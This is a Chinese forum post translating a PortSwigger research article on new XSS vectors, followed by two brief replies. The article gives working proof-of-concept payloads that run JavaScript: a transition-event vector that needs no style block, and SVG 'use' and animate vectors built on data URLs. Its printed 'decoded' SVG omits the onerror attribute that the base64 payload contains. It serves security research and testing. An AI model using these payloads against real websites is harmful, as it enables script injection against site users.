梦幻的彼岸 发表于 2022-5-28 16:31:50

[翻译]新的XSS载体

本帖最后由 梦幻的彼岸 于 2022-5-28 16:35 编辑

New XSS vectors
原文地址:https://portswigger.net/research/new-xss-vectors#top
翻译:梦幻的彼岸

基于无样式块的transition(过渡)事件
所以,最近,我正在更新XSS备忘单,以修复某些因浏览器更新而过时的载体。在看载体时,transition(过渡)事件一直萦绕在我的脑海中。他们需要样式块和事件:
<style>:target {color:red;}</style>
<xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>
我想取消对样式块的要求。我想知道哪些浏览器的样式是默认添加的?我在网上搜索了一下,W3Schools上的一个页面引导我探索这个问题。某些标签有focus选择器--这非常有趣,因为这意味着transition(过渡)将与他们一起工作! 浏览列表时,我注意到轮廓线正在被使用,然后我记得当元素具有可访问性时,Chrome 会在元素周围放置轮廓线。
这意味着如果我们把transition(过渡)应用到轮廓属性,就可以取消样式块的要求。这个载体适用于任何focusable标签。
<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>
适当的XSS黑客攻击! 就像以前一样。
备忘单SVG“使用”元素载体
不久前,我发现了一些不错的基于SVG的载体,你可能不太熟悉。最近的一次浏览器更新修改了Chrome和Firefox的 "use "元素的行为。你现在可以在 "use "元素的数据URL内自动执行嵌入SVG的JavaScript:
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>
这是base64解码后的数据:
<svg id='x' xmlns='http://www.w3.org/2000/svg'
xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
<image href="1" />
</svg>
虽然你不一定要使用base64,但你也可以这样做:
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />
最后,你可以使用animate标签来改变 "use "元素的超链接(href),以执行JavaScript:
<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'>
<image href='1' onerror='alert(1)' /></svg>#x" />
<use id=x />
如果你喜欢这些载体并想了解更多,我推荐你去我们的网络安全学院的XSS部分,在那里你可以通过我们的互动实验室来磨练你的技能--或者访问我们的XSS备忘单来了解更多。


chishingchan 发表于 2022-5-29 10:48:59

水平跟不上!直接发一篇“咒语”出来,不懂的真的看不懂。

onhawk 发表于 2022-6-2 09:40:51

谢谢分享,支持
页: [1]
查看完整版本: [翻译]新的XSS载体